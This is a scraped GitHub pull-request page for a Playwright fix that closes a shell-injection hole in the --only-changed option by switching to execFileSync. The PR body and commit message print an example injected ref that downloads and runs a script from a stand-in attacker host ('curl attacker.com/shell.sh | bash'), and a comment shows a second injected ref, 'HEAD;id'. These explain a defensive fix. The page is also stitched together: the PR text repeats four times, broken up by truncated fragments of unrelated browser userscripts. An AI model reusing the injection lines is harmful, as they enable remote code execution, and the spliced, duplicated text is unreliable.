Skip to content

fix(cli): prevent shell injection in --only-changed ref argument - #40657

Merged
Pavel Feldman (pavelfeldman) merged 1 commit into
microsoft:mainfrom
SebTardif:fix/shell-injection-only-changed
May 6, 2026
Merged

fix(cli): prevent shell injection in --only-changed ref argument#40657
Pavel Feldman (pavelfeldman) merged 1 commit into
microsoft:mainfrom
SebTardif:fix/shell-injection-only-changed

Conversation

@SebTardif

@SebTardifSebastien Tardif (SebTardif) commented May 6, 2026•
edited
Loading

Copy link
Copy Markdown
Contributor

Summary

  • Replace execSync with execFileSync using argument arrays in vcs.ts to prevent shell injection via the --only-changed [ref] CLI option
  • The ref argument was interpolated directly into a shell command string, allowing arbitrary command execution

Problem

The --only-changed [ref] option flows from the CLI into detectChangedTestFiles() where it is interpolated into a shell string:

childProcess.execSync(`git diff ${baseCommit} --name-only`, ...)

A ref value containing shell metacharacters (e.g., ; curl attacker.com/shell.sh | bash) would execute the injected command.

Why this matters now

Playwright's own CI documentation recommends passing environment variables to --only-changed in GitHub Actions workflows (docs/src/ci.md):

run: npx playwright test --only-changed=origin/$GITHUB_BASE_REF

This pattern is actively copied by the community:

  • Pre-commit hooks running npx playwright test --only-changed on every commit (example)
  • npm scripts: "changed": "npx playwright test --only-changed" (example)
  • AI agent skill files documenting --only-changed=$GITHUB_BASE_REF for CI sharding (example)

While $GITHUB_BASE_REF itself is safe (set by GitHub's runner), the pattern normalizes passing dynamic values to --only-changed. The natural variations, $GITHUB_HEAD_REF (attacker-controlled PR branch name) or refs derived from PR metadata, are exploitable. AI coding agents (OpenClaw, Claude Code, Cursor) that automate test workflows may construct refs from untrusted sources without the user inspecting every CLI argument (openclaw/openclaw#63734, openclaw/openclaw#68428).

The fix applies execFileSync with argument arrays to all git calls in vcs.ts, including the shallow clone detection fallback. execFileSync bypasses the shell entirely, so metacharacters in the ref have no effect.

Changes

  • packages/playwright/src/runner/vcs.ts: Replace all execSync calls with execFileSync using argument arrays

@SebTardif
fix(cli): prevent shell injection in --only-changed ref argument
20e29ea
The --only-changed [ref] CLI option passes the user-provided ref
directly into a shell command via execSync string interpolation:
execSync(`git diff ${baseCommit} --name-only`)
A malicious ref like "HEAD; curl attacker.com/shell.sh | bash"
executes arbitrary commands.
Replace execSync with execFileSync using argument arrays throughout
vcs.ts. This applies to all git calls in detectChangedTestFiles,
including the shallow clone detection fallback.
@pavelfeldman

Pavel Feldman (pavelfeldman) commented May 6, 2026

Copy link
Copy Markdown
Member

I'm not following the vector of attack, could you elaborate?

@SebTardif

Sebastien Tardif (SebTardif) commented May 6, 2026

Copy link
Copy Markdown
ContributorAuthor

The --only-changed option passes its value into execSync with shell string interpolation:

childProcess.execSync(`git diff ${baseCommit} --name-only`,{ ... })

execSync invokes /bin/sh -c "git diff <value> --name-only", so shell metacharacters in baseCommit are interpreted. For example:

npx playwright test --only-changed="HEAD;id"

This executes both git diff HEAD and id as separate shell commands. Any value with ;, $(), or backticks triggers command execution.

The practical risk depends on where the ref originates. In manual use, the developer controls it. In CI, the recommended pattern uses $GITHUB_BASE_REF which is safe. But the same pattern with $GITHUB_HEAD_REF (the PR branch name, controlled by the PR author) would be exploitable, and it's a natural substitution for someone adapting the docs example.

The fix swaps execSync to execFileSync with argument arrays, which bypasses the shell entirely. No behavioral change for valid git refs.

@github-actions

github-actionsBot commented May 6, 2026

Copy link
Copy Markdown
Contributor

Test results for "MCP"

2 failed
❌ [chrome] › mcp/autowait.spec.ts:19 › racy navigation destroys context @mcp-windows-latest-chrome
❌ [chrome] › mcp/dashboard.spec.ts:231 › should annotate via direct browser_annotate MCP call @mcp-windows-latest-chrome

1 flaky⚠️ [chrome] › mcp/cdp.spec.ts:24 › cdp server `@mcp-windows-latest-chrome`

6940 passed, 1052 skipped

Merge workflow run.

@github-actions

github-actionsBot commented May 6, 2026

Copy link
Copy Markdown
Contributor

Test results for "tests 1"

1 failed
❌ [firefox-page] › page/page-emulate-media.spec.ts:196 › should report hover and fine pointer for desktop @firefox-ubuntu-22.04-node20

2 flaky⚠️ [chromium-library] › library/video.spec.ts:682 › screencast › should capture full viewport on hidpi `@ubuntu-22.04-chromium-tip-of-tree`
⚠️ [chromium-library] › library/video.spec.ts:719 › screencast › should work with video+trace `@chromium-ubuntu-22.04-arm-node20`

41659 passed, 851 skipped

Merge workflow run.

@pavelfeldman
Pavel Feldman (pavelfeldman) merged commit cc8ba29 into microsoft:mainMay 6, 2026
42 of 45 checks passed
@SebTardifSebastien Tardif (SebTardif) mentioned this pull request May 7, 2026
Merged
Sign up for freeto join this conversation on GitHub. Already have an account? Sign in to comment

Reviewers

@pavelfeldmanPavel Feldman (pavelfeldman)pavelfeldman approved these changes

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

2 participants

@SebTardif@pavelfeldman
, 'i'); if (__m === '*' || __re.test(location.href)) { // Add copy buttons to all 
 blocks
(function() {
function addCopyButtons() {
document.querySelectorAll('pre code').forEach(function(codeBlock) {
if (codeBlock.parentElement.hasAttribute('data-copy-added')) return;
codeBlock.parentElement.setAttribute('data-copy-added', 'true');
var btn = document.createElement('button');
btn.textContent = 'Copy';
btn.style.cssText = 'position:absolute;top:4px;right:4px;padding:2px 8px;font-size:11px;background:#4ecdc4;border:none;border-radius:4px;color:#1a1a2e;cursor:pointer;opacity:0.7;transition:opacity 0.2s;';
btn.onmouseover = function() { this.style.opacity = '1'; };
btn.onmouseout = function() { this.style.opacity = '0.7'; };
btn.onclick = function() {
navigator.clipboard.writeText(codeBlock.textContent).then(function() {
btn.textContent = 'Copied!';
setTimeout(function() { btn.textContent = 'Copy'; }, 1500);
});
};
codeBlock.parentElement.style.position = 'relative';
codeBlock.parentElement.appendChild(btn);
});
}
addCopyButtons();
// Re-run on dynamic content
var observer = new MutationObserver(addCopyButtons);
observer.observe(document.body, { childList: true, subtree: true });
})();
}
} catch(__e) { console.warn('[Userscript:Add Copy Buttons to Code Blocks]', __e); }
})();
(function(){
try {
var __m = "github.com";
var __re = new RegExp('^' + "github\\.com" + '
fix(cli): prevent shell injection in --only-changed ref argument by SebTardif · Pull Request #40657 · microsoft/playwright · GitHub
Skip to content
fix(cli): prevent shell injection in --only-changed ref argument - #40657
Merged
Pavel Feldman (pavelfeldman) merged 1 commit into
microsoft:mainfrom 
SebTardif:fix/shell-injection-only-changed
May 6, 2026
Merged
fix(cli): prevent shell injection in --only-changed ref argument#40657
Pavel Feldman (pavelfeldman) merged 1 commit into
microsoft:mainfrom 
SebTardif:fix/shell-injection-only-changed
Conversation
@SebTardif
@SebTardifSebastien Tardif (SebTardif)
commented
May 6, 2026•

edited

Loading

Copy link


Copy Markdown

Contributor
Summary
  • Replace execSync with execFileSync using argument arrays in vcs.ts to prevent shell injection via the --only-changed [ref] CLI option
  • The ref argument was interpolated directly into a shell command string, allowing arbitrary command execution
Problem
The --only-changed [ref] option flows from the CLI into detectChangedTestFiles() where it is interpolated into a shell string:
childProcess.execSync(`git diff ${baseCommit} --name-only`, ...)
A ref value containing shell metacharacters (e.g., ; curl attacker.com/shell.sh | bash) would execute the injected command.
Why this matters now
Playwright's own CI documentation recommends passing environment variables to --only-changed in GitHub Actions workflows (docs/src/ci.md):
run: npx playwright test --only-changed=origin/$GITHUB_BASE_REF
This pattern is actively copied by the community:
  • Pre-commit hooks running npx playwright test --only-changed on every commit (example)
  • npm scripts: "changed": "npx playwright test --only-changed" (example)
  • AI agent skill files documenting --only-changed=$GITHUB_BASE_REF for CI sharding (example)
While $GITHUB_BASE_REF itself is safe (set by GitHub's runner), the pattern normalizes passing dynamic values to --only-changed. The natural variations, $GITHUB_HEAD_REF (attacker-controlled PR branch name) or refs derived from PR metadata, are exploitable. AI coding agents (OpenClaw, Claude Code, Cursor) that automate test workflows may construct refs from untrusted sources without the user inspecting every CLI argument (openclaw/openclaw#63734, openclaw/openclaw#68428).
The fix applies execFileSync with argument arrays to all git calls in vcs.ts, including the shallow clone detection fallback. execFileSync bypasses the shell entirely, so metacharacters in the ref have no effect.
Changes
  • packages/playwright/src/runner/vcs.ts: Replace all execSync calls with execFileSync using argument arrays
@SebTardif
fix(cli): prevent shell injection in --only-changed ref argument
20e29ea
The --only-changed [ref] CLI option passes the user-provided ref
directly into a shell command via execSync string interpolation:
execSync(`git diff ${baseCommit} --name-only`)
A malicious ref like "HEAD; curl attacker.com/shell.sh | bash"
executes arbitrary commands.
Replace execSync with execFileSync using argument arrays throughout
vcs.ts. This applies to all git calls in detectChangedTestFiles,
including the shallow clone detection fallback.
@pavelfeldman
Pavel Feldman (pavelfeldman)
commented
May 6, 2026

Copy link


Copy Markdown

Member
I'm not following the vector of attack, could you elaborate?
@SebTardif
Sebastien Tardif (SebTardif)
commented
May 6, 2026

Copy link


Copy Markdown

ContributorAuthor
The --only-changed option passes its value into execSync with shell string interpolation:
childProcess.execSync(`git diff ${baseCommit} --name-only`,{ ... })
execSync invokes /bin/sh -c "git diff <value> --name-only", so shell metacharacters in baseCommit are interpreted. For example:
npx playwright test --only-changed="HEAD;id"
This executes both git diff HEAD and id as separate shell commands. Any value with ;, $(), or backticks triggers command execution.
The practical risk depends on where the ref originates. In manual use, the developer controls it. In CI, the recommended pattern uses $GITHUB_BASE_REF which is safe. But the same pattern with $GITHUB_HEAD_REF (the PR branch name, controlled by the PR author) would be exploitable, and it's a natural substitution for someone adapting the docs example.
The fix swaps execSync to execFileSync with argument arrays, which bypasses the shell entirely. No behavioral change for valid git refs.
@github-actions
github-actionsBot
commented
May 6, 2026

Copy link


Copy Markdown

Contributor
Test results for "MCP"
2 failed

❌ [chrome] › mcp/autowait.spec.ts:19 › racy navigation destroys context @mcp-windows-latest-chrome

❌ [chrome] › mcp/dashboard.spec.ts:231 › should annotate via direct browser_annotate MCP call @mcp-windows-latest-chrome
1 flaky⚠️ [chrome] › mcp/cdp.spec.ts:24 › cdp server `@mcp-windows-latest-chrome` 
6940 passed, 1052 skipped
Merge workflow run.
@github-actions
github-actionsBot
commented
May 6, 2026

Copy link


Copy Markdown

Contributor
Test results for "tests 1"
1 failed

❌ [firefox-page] › page/page-emulate-media.spec.ts:196 › should report hover and fine pointer for desktop @firefox-ubuntu-22.04-node20
2 flaky⚠️ [chromium-library] › library/video.spec.ts:682 › screencast › should capture full viewport on hidpi `@ubuntu-22.04-chromium-tip-of-tree` 
⚠️ [chromium-library] › library/video.spec.ts:719 › screencast › should work with video+trace `@chromium-ubuntu-22.04-arm-node20` 
41659 passed, 851 skipped
Merge workflow run.
@pavelfeldman
Pavel Feldman (pavelfeldman)
merged commit cc8ba29
into
microsoft:mainMay 6, 2026

42 of 45 checks passed

@SebTardifSebastien Tardif (SebTardif)
mentioned this pull request
May 7, 2026
 Merged

Sign up for freeto join this conversation on GitHub.
Already have an account?
Sign in to comment

Reviewers

@pavelfeldmanPavel Feldman (pavelfeldman)pavelfeldman approved these changes

Assignees


No one assigned


Labels


None yet


Projects


None yet


Milestone


No milestone


Development

Successfully merging this pull request may close these issues.

2 participants

@SebTardif@pavelfeldman

, 'i');
if (__m === '*' || __re.test(location.href)) {
// Force GitHub README to respect dark mode
(function() {
var style = document.createElement('style');
style.textContent = '
.markdown-body {
color-scheme: dark light;
}
.markdown-body pre { background: #161b22 !important; }
.markdown-body code { background: rgba(110, 118, 129, 0.4) !important; }
.markdown-body table th, .markdown-body table td { border-color: #30363d !important; }
.markdown-body img { background: #0d1117; }
.markdown-body blockquote { border-left-color: #8b949e; }
.markdown-body hr { border-color: #30363d; }
';
document.head.appendChild(style);
})();
}
} catch(__e) { console.warn('[Userscript:GitHub Dark Mode README Fix]', __e); }
})();
(function(){
try {
var __m = "*";
var __re = new RegExp('^' + ".*" + '
fix(cli): prevent shell injection in --only-changed ref argument by SebTardif · Pull Request #40657 · microsoft/playwright · GitHub
Skip to content
fix(cli): prevent shell injection in --only-changed ref argument - #40657
Merged
Pavel Feldman (pavelfeldman) merged 1 commit into
microsoft:mainfrom 
SebTardif:fix/shell-injection-only-changed
May 6, 2026
Merged
fix(cli): prevent shell injection in --only-changed ref argument#40657
Pavel Feldman (pavelfeldman) merged 1 commit into
microsoft:mainfrom 
SebTardif:fix/shell-injection-only-changed
Conversation
@SebTardif
@SebTardifSebastien Tardif (SebTardif)
commented
May 6, 2026•

edited

Loading

Copy link


Copy Markdown

Contributor
Summary
  • Replace execSync with execFileSync using argument arrays in vcs.ts to prevent shell injection via the --only-changed [ref] CLI option
  • The ref argument was interpolated directly into a shell command string, allowing arbitrary command execution
Problem
The --only-changed [ref] option flows from the CLI into detectChangedTestFiles() where it is interpolated into a shell string:
childProcess.execSync(`git diff ${baseCommit} --name-only`, ...)
A ref value containing shell metacharacters (e.g., ; curl attacker.com/shell.sh | bash) would execute the injected command.
Why this matters now
Playwright's own CI documentation recommends passing environment variables to --only-changed in GitHub Actions workflows (docs/src/ci.md):
run: npx playwright test --only-changed=origin/$GITHUB_BASE_REF
This pattern is actively copied by the community:
  • Pre-commit hooks running npx playwright test --only-changed on every commit (example)
  • npm scripts: "changed": "npx playwright test --only-changed" (example)
  • AI agent skill files documenting --only-changed=$GITHUB_BASE_REF for CI sharding (example)
While $GITHUB_BASE_REF itself is safe (set by GitHub's runner), the pattern normalizes passing dynamic values to --only-changed. The natural variations, $GITHUB_HEAD_REF (attacker-controlled PR branch name) or refs derived from PR metadata, are exploitable. AI coding agents (OpenClaw, Claude Code, Cursor) that automate test workflows may construct refs from untrusted sources without the user inspecting every CLI argument (openclaw/openclaw#63734, openclaw/openclaw#68428).
The fix applies execFileSync with argument arrays to all git calls in vcs.ts, including the shallow clone detection fallback. execFileSync bypasses the shell entirely, so metacharacters in the ref have no effect.
Changes
  • packages/playwright/src/runner/vcs.ts: Replace all execSync calls with execFileSync using argument arrays
@SebTardif
fix(cli): prevent shell injection in --only-changed ref argument
20e29ea
The --only-changed [ref] CLI option passes the user-provided ref
directly into a shell command via execSync string interpolation:
execSync(`git diff ${baseCommit} --name-only`)
A malicious ref like "HEAD; curl attacker.com/shell.sh | bash"
executes arbitrary commands.
Replace execSync with execFileSync using argument arrays throughout
vcs.ts. This applies to all git calls in detectChangedTestFiles,
including the shallow clone detection fallback.
@pavelfeldman
Pavel Feldman (pavelfeldman)
commented
May 6, 2026

Copy link


Copy Markdown

Member
I'm not following the vector of attack, could you elaborate?
@SebTardif
Sebastien Tardif (SebTardif)
commented
May 6, 2026

Copy link


Copy Markdown

ContributorAuthor
The --only-changed option passes its value into execSync with shell string interpolation:
childProcess.execSync(`git diff ${baseCommit} --name-only`,{ ... })
execSync invokes /bin/sh -c "git diff <value> --name-only", so shell metacharacters in baseCommit are interpreted. For example:
npx playwright test --only-changed="HEAD;id"
This executes both git diff HEAD and id as separate shell commands. Any value with ;, $(), or backticks triggers command execution.
The practical risk depends on where the ref originates. In manual use, the developer controls it. In CI, the recommended pattern uses $GITHUB_BASE_REF which is safe. But the same pattern with $GITHUB_HEAD_REF (the PR branch name, controlled by the PR author) would be exploitable, and it's a natural substitution for someone adapting the docs example.
The fix swaps execSync to execFileSync with argument arrays, which bypasses the shell entirely. No behavioral change for valid git refs.
@github-actions
github-actionsBot
commented
May 6, 2026

Copy link


Copy Markdown

Contributor
Test results for "MCP"
2 failed

❌ [chrome] › mcp/autowait.spec.ts:19 › racy navigation destroys context @mcp-windows-latest-chrome

❌ [chrome] › mcp/dashboard.spec.ts:231 › should annotate via direct browser_annotate MCP call @mcp-windows-latest-chrome
1 flaky⚠️ [chrome] › mcp/cdp.spec.ts:24 › cdp server `@mcp-windows-latest-chrome` 
6940 passed, 1052 skipped
Merge workflow run.
@github-actions
github-actionsBot
commented
May 6, 2026

Copy link


Copy Markdown

Contributor
Test results for "tests 1"
1 failed

❌ [firefox-page] › page/page-emulate-media.spec.ts:196 › should report hover and fine pointer for desktop @firefox-ubuntu-22.04-node20
2 flaky⚠️ [chromium-library] › library/video.spec.ts:682 › screencast › should capture full viewport on hidpi `@ubuntu-22.04-chromium-tip-of-tree` 
⚠️ [chromium-library] › library/video.spec.ts:719 › screencast › should work with video+trace `@chromium-ubuntu-22.04-arm-node20` 
41659 passed, 851 skipped
Merge workflow run.
@pavelfeldman
Pavel Feldman (pavelfeldman)
merged commit cc8ba29
into
microsoft:mainMay 6, 2026

42 of 45 checks passed

@SebTardifSebastien Tardif (SebTardif)
mentioned this pull request
May 7, 2026
 Merged

Sign up for freeto join this conversation on GitHub.
Already have an account?
Sign in to comment

Reviewers

@pavelfeldmanPavel Feldman (pavelfeldman)pavelfeldman approved these changes

Assignees


No one assigned


Labels


None yet


Projects


None yet


Milestone


No milestone


Development

Successfully merging this pull request may close these issues.

2 participants

@SebTardif@pavelfeldman

, 'i');
if (__m === '*' || __re.test(location.href)) {
// Highlight search terms from Google/DuckDuckGo/Bing referrer
(function() {
var ref = document.referrer;
var terms = [];
if (ref.includes('google.com') || ref.includes('duckduckgo.com') || ref.includes('bing.com')) {
var url = new URL(ref);
var q = url.searchParams.get('q') || url.searchParams.get('p');
if (q) {
terms = q.split(/\s+/).filter(function(t) { return t.length > 2; });
}
}
if (terms.length === 0) return;
var style = document.createElement('style');
style.textContent = '.userscript-highlight { background: #fbbf24; color: #1a1a2e; padding: 1px 3px; border-radius: 2px; }';
document.head.appendChild(style);
function highlight(node) {
if (node.nodeType === 3) { // text node
var text = node.textContent;
var found = false;
terms.forEach(function(term) {
var regex = new RegExp('(' + term.replace(/[.*+?^${}()|[\]\\]/g, '\\') + ')', 'gi');
if (regex.test(text)) {
found = true;
var frag = document.createDocumentFragment();
var parts = text.split(regex);
parts.forEach(function(part, i) {
if (i % 2 === 0) {
frag.appendChild(document.createTextNode(part));
} else {
var span = document.createElement('span');
span.className = 'userscript-highlight';
span.textContent = part;
frag.appendChild(span);
}
});
node.parentNode.replaceChild(frag, node);
}
});
} else if (node.nodeType === 1 && node.childNodes) { // element
var skipTags = ['SCRIPT', 'STYLE', 'NOSCRIPT', 'TEXTAREA', 'INPUT', 'SELECT'];
if (!skipTags.includes(node.tagName)) {
Array.from(node.childNodes).forEach(highlight);
}
}
}
highlight(document.body);
// Re-highlight on dynamic content
var observer = new MutationObserver(function(mutations) {
mutations.forEach(function(m) {
m.addedNodes.forEach(function(node) {
if (node.nodeType === 1 || node.nodeType === 3) highlight(node);
});
});
});
observer.observe(document.body, { childList: true, subtree: true });
})();
}
} catch(__e) { console.warn('[Userscript:Highlight Search Terms]', __e); }
})();
(function(){
try {
var __m = "*";
var __re = new RegExp('^' + ".*" + '
fix(cli): prevent shell injection in --only-changed ref argument by SebTardif · Pull Request #40657 · microsoft/playwright · GitHub
Skip to content
fix(cli): prevent shell injection in --only-changed ref argument - #40657
Merged
Pavel Feldman (pavelfeldman) merged 1 commit into
microsoft:mainfrom 
SebTardif:fix/shell-injection-only-changed
May 6, 2026
Merged
fix(cli): prevent shell injection in --only-changed ref argument#40657
Pavel Feldman (pavelfeldman) merged 1 commit into
microsoft:mainfrom 
SebTardif:fix/shell-injection-only-changed
Conversation
@SebTardif
@SebTardifSebastien Tardif (SebTardif)
commented
May 6, 2026•

edited

Loading

Copy link


Copy Markdown

Contributor
Summary
  • Replace execSync with execFileSync using argument arrays in vcs.ts to prevent shell injection via the --only-changed [ref] CLI option
  • The ref argument was interpolated directly into a shell command string, allowing arbitrary command execution
Problem
The --only-changed [ref] option flows from the CLI into detectChangedTestFiles() where it is interpolated into a shell string:
childProcess.execSync(`git diff ${baseCommit} --name-only`, ...)
A ref value containing shell metacharacters (e.g., ; curl attacker.com/shell.sh | bash) would execute the injected command.
Why this matters now
Playwright's own CI documentation recommends passing environment variables to --only-changed in GitHub Actions workflows (docs/src/ci.md):
run: npx playwright test --only-changed=origin/$GITHUB_BASE_REF
This pattern is actively copied by the community:
  • Pre-commit hooks running npx playwright test --only-changed on every commit (example)
  • npm scripts: "changed": "npx playwright test --only-changed" (example)
  • AI agent skill files documenting --only-changed=$GITHUB_BASE_REF for CI sharding (example)
While $GITHUB_BASE_REF itself is safe (set by GitHub's runner), the pattern normalizes passing dynamic values to --only-changed. The natural variations, $GITHUB_HEAD_REF (attacker-controlled PR branch name) or refs derived from PR metadata, are exploitable. AI coding agents (OpenClaw, Claude Code, Cursor) that automate test workflows may construct refs from untrusted sources without the user inspecting every CLI argument (openclaw/openclaw#63734, openclaw/openclaw#68428).
The fix applies execFileSync with argument arrays to all git calls in vcs.ts, including the shallow clone detection fallback. execFileSync bypasses the shell entirely, so metacharacters in the ref have no effect.
Changes
  • packages/playwright/src/runner/vcs.ts: Replace all execSync calls with execFileSync using argument arrays
@SebTardif
fix(cli): prevent shell injection in --only-changed ref argument
20e29ea
The --only-changed [ref] CLI option passes the user-provided ref
directly into a shell command via execSync string interpolation:
execSync(`git diff ${baseCommit} --name-only`)
A malicious ref like "HEAD; curl attacker.com/shell.sh | bash"
executes arbitrary commands.
Replace execSync with execFileSync using argument arrays throughout
vcs.ts. This applies to all git calls in detectChangedTestFiles,
including the shallow clone detection fallback.
@pavelfeldman
Pavel Feldman (pavelfeldman)
commented
May 6, 2026

Copy link


Copy Markdown

Member
I'm not following the vector of attack, could you elaborate?
@SebTardif
Sebastien Tardif (SebTardif)
commented
May 6, 2026

Copy link


Copy Markdown

ContributorAuthor
The --only-changed option passes its value into execSync with shell string interpolation:
childProcess.execSync(`git diff ${baseCommit} --name-only`,{ ... })
execSync invokes /bin/sh -c "git diff <value> --name-only", so shell metacharacters in baseCommit are interpreted. For example:
npx playwright test --only-changed="HEAD;id"
This executes both git diff HEAD and id as separate shell commands. Any value with ;, $(), or backticks triggers command execution.
The practical risk depends on where the ref originates. In manual use, the developer controls it. In CI, the recommended pattern uses $GITHUB_BASE_REF which is safe. But the same pattern with $GITHUB_HEAD_REF (the PR branch name, controlled by the PR author) would be exploitable, and it's a natural substitution for someone adapting the docs example.
The fix swaps execSync to execFileSync with argument arrays, which bypasses the shell entirely. No behavioral change for valid git refs.
@github-actions
github-actionsBot
commented
May 6, 2026

Copy link


Copy Markdown

Contributor
Test results for "MCP"
2 failed

❌ [chrome] › mcp/autowait.spec.ts:19 › racy navigation destroys context @mcp-windows-latest-chrome

❌ [chrome] › mcp/dashboard.spec.ts:231 › should annotate via direct browser_annotate MCP call @mcp-windows-latest-chrome
1 flaky⚠️ [chrome] › mcp/cdp.spec.ts:24 › cdp server `@mcp-windows-latest-chrome` 
6940 passed, 1052 skipped
Merge workflow run.
@github-actions
github-actionsBot
commented
May 6, 2026

Copy link


Copy Markdown

Contributor
Test results for "tests 1"
1 failed

❌ [firefox-page] › page/page-emulate-media.spec.ts:196 › should report hover and fine pointer for desktop @firefox-ubuntu-22.04-node20
2 flaky⚠️ [chromium-library] › library/video.spec.ts:682 › screencast › should capture full viewport on hidpi `@ubuntu-22.04-chromium-tip-of-tree` 
⚠️ [chromium-library] › library/video.spec.ts:719 › screencast › should work with video+trace `@chromium-ubuntu-22.04-arm-node20` 
41659 passed, 851 skipped
Merge workflow run.
@pavelfeldman
Pavel Feldman (pavelfeldman)
merged commit cc8ba29
into
microsoft:mainMay 6, 2026

42 of 45 checks passed

@SebTardifSebastien Tardif (SebTardif)
mentioned this pull request
May 7, 2026
 Merged

Sign up for freeto join this conversation on GitHub.
Already have an account?
Sign in to comment

Reviewers

@pavelfeldmanPavel Feldman (pavelfeldman)pavelfeldman approved these changes

Assignees


No one assigned


Labels


None yet


Projects


None yet


Milestone


No milestone


Development

Successfully merging this pull request may close these issues.

2 participants

@SebTardif@pavelfeldman

, 'i');
if (__m === '*' || __re.test(location.href)) {
// Strip utm_, fbclid, gclid, etc. from all links on page
(function() {
var trackingParams = ['utm_source', 'utm_medium', 'utm_campaign', 'utm_term', 'utm_content',
'fbclid', 'gclid', 'dclid', 'msclkid', 'yclid',
'ref', 'ref_src', 'source', 'medium', 'campaign'];
function cleanUrl(url) {
try {
var u = new URL(url, window.location.origin);
var changed = false;
trackingParams.forEach(function(p) {
if (u.searchParams.has(p)) {
u.searchParams.delete(p);
changed = true;
}
});
return changed ? u.toString() : url;
} catch (e) {
return url;
}
}
function cleanLinks() {
document.querySelectorAll('a[href]').forEach(function(a) {
var clean = cleanUrl(a.href);
if (clean !== a.href) a.href = clean;
});
}
cleanLinks();
var observer = new MutationObserver(function(mutations) {
mutations.forEach(function(m) {
m.addedNodes.forEach(function(node) {
if (node.nodeType === 1) {
if (node.tagName === 'A') cleanLinks();
node.querySelectorAll('a[href]').forEach(function(a) {
var clean = cleanUrl(a.href);
if (clean !== a.href) a.href = clean;
});
}
});
});
});
observer.observe(document.body, { childList: true, subtree: true });
})();
}
} catch(__e) { console.warn('[Userscript:Remove Tracking Parameters from Links]', __e); }
})();
(function(){
try {
var __m = "youtube.com";
var __re = new RegExp('^' + "youtube\\.com" + '
fix(cli): prevent shell injection in --only-changed ref argument by SebTardif · Pull Request #40657 · microsoft/playwright · GitHub
Skip to content
fix(cli): prevent shell injection in --only-changed ref argument - #40657
Merged
Pavel Feldman (pavelfeldman) merged 1 commit into
microsoft:mainfrom 
SebTardif:fix/shell-injection-only-changed
May 6, 2026
Merged
fix(cli): prevent shell injection in --only-changed ref argument#40657
Pavel Feldman (pavelfeldman) merged 1 commit into
microsoft:mainfrom 
SebTardif:fix/shell-injection-only-changed
Conversation
@SebTardif
@SebTardifSebastien Tardif (SebTardif)
commented
May 6, 2026•

edited

Loading

Copy link


Copy Markdown

Contributor
Summary
  • Replace execSync with execFileSync using argument arrays in vcs.ts to prevent shell injection via the --only-changed [ref] CLI option
  • The ref argument was interpolated directly into a shell command string, allowing arbitrary command execution
Problem
The --only-changed [ref] option flows from the CLI into detectChangedTestFiles() where it is interpolated into a shell string:
childProcess.execSync(`git diff ${baseCommit} --name-only`, ...)
A ref value containing shell metacharacters (e.g., ; curl attacker.com/shell.sh | bash) would execute the injected command.
Why this matters now
Playwright's own CI documentation recommends passing environment variables to --only-changed in GitHub Actions workflows (docs/src/ci.md):
run: npx playwright test --only-changed=origin/$GITHUB_BASE_REF
This pattern is actively copied by the community:
  • Pre-commit hooks running npx playwright test --only-changed on every commit (example)
  • npm scripts: "changed": "npx playwright test --only-changed" (example)
  • AI agent skill files documenting --only-changed=$GITHUB_BASE_REF for CI sharding (example)
While $GITHUB_BASE_REF itself is safe (set by GitHub's runner), the pattern normalizes passing dynamic values to --only-changed. The natural variations, $GITHUB_HEAD_REF (attacker-controlled PR branch name) or refs derived from PR metadata, are exploitable. AI coding agents (OpenClaw, Claude Code, Cursor) that automate test workflows may construct refs from untrusted sources without the user inspecting every CLI argument (openclaw/openclaw#63734, openclaw/openclaw#68428).
The fix applies execFileSync with argument arrays to all git calls in vcs.ts, including the shallow clone detection fallback. execFileSync bypasses the shell entirely, so metacharacters in the ref have no effect.
Changes
  • packages/playwright/src/runner/vcs.ts: Replace all execSync calls with execFileSync using argument arrays
@SebTardif
fix(cli): prevent shell injection in --only-changed ref argument
20e29ea
The --only-changed [ref] CLI option passes the user-provided ref
directly into a shell command via execSync string interpolation:
execSync(`git diff ${baseCommit} --name-only`)
A malicious ref like "HEAD; curl attacker.com/shell.sh | bash"
executes arbitrary commands.
Replace execSync with execFileSync using argument arrays throughout
vcs.ts. This applies to all git calls in detectChangedTestFiles,
including the shallow clone detection fallback.
@pavelfeldman
Pavel Feldman (pavelfeldman)
commented
May 6, 2026

Copy link


Copy Markdown

Member
I'm not following the vector of attack, could you elaborate?
@SebTardif
Sebastien Tardif (SebTardif)
commented
May 6, 2026

Copy link


Copy Markdown

ContributorAuthor
The --only-changed option passes its value into execSync with shell string interpolation:
childProcess.execSync(`git diff ${baseCommit} --name-only`,{ ... })
execSync invokes /bin/sh -c "git diff <value> --name-only", so shell metacharacters in baseCommit are interpreted. For example:
npx playwright test --only-changed="HEAD;id"
This executes both git diff HEAD and id as separate shell commands. Any value with ;, $(), or backticks triggers command execution.
The practical risk depends on where the ref originates. In manual use, the developer controls it. In CI, the recommended pattern uses $GITHUB_BASE_REF which is safe. But the same pattern with $GITHUB_HEAD_REF (the PR branch name, controlled by the PR author) would be exploitable, and it's a natural substitution for someone adapting the docs example.
The fix swaps execSync to execFileSync with argument arrays, which bypasses the shell entirely. No behavioral change for valid git refs.
@github-actions
github-actionsBot
commented
May 6, 2026

Copy link


Copy Markdown

Contributor
Test results for "MCP"
2 failed

❌ [chrome] › mcp/autowait.spec.ts:19 › racy navigation destroys context @mcp-windows-latest-chrome

❌ [chrome] › mcp/dashboard.spec.ts:231 › should annotate via direct browser_annotate MCP call @mcp-windows-latest-chrome
1 flaky⚠️ [chrome] › mcp/cdp.spec.ts:24 › cdp server `@mcp-windows-latest-chrome` 
6940 passed, 1052 skipped
Merge workflow run.
@github-actions
github-actionsBot
commented
May 6, 2026

Copy link


Copy Markdown

Contributor
Test results for "tests 1"
1 failed

❌ [firefox-page] › page/page-emulate-media.spec.ts:196 › should report hover and fine pointer for desktop @firefox-ubuntu-22.04-node20
2 flaky⚠️ [chromium-library] › library/video.spec.ts:682 › screencast › should capture full viewport on hidpi `@ubuntu-22.04-chromium-tip-of-tree` 
⚠️ [chromium-library] › library/video.spec.ts:719 › screencast › should work with video+trace `@chromium-ubuntu-22.04-arm-node20` 
41659 passed, 851 skipped
Merge workflow run.
@pavelfeldman
Pavel Feldman (pavelfeldman)
merged commit cc8ba29
into
microsoft:mainMay 6, 2026

42 of 45 checks passed

@SebTardifSebastien Tardif (SebTardif)
mentioned this pull request
May 7, 2026
 Merged

Sign up for freeto join this conversation on GitHub.
Already have an account?
Sign in to comment

Reviewers

@pavelfeldmanPavel Feldman (pavelfeldman)pavelfeldman approved these changes

Assignees


No one assigned


Labels


None yet


Projects


None yet


Milestone


No milestone


Development

Successfully merging this pull request may close these issues.

2 participants

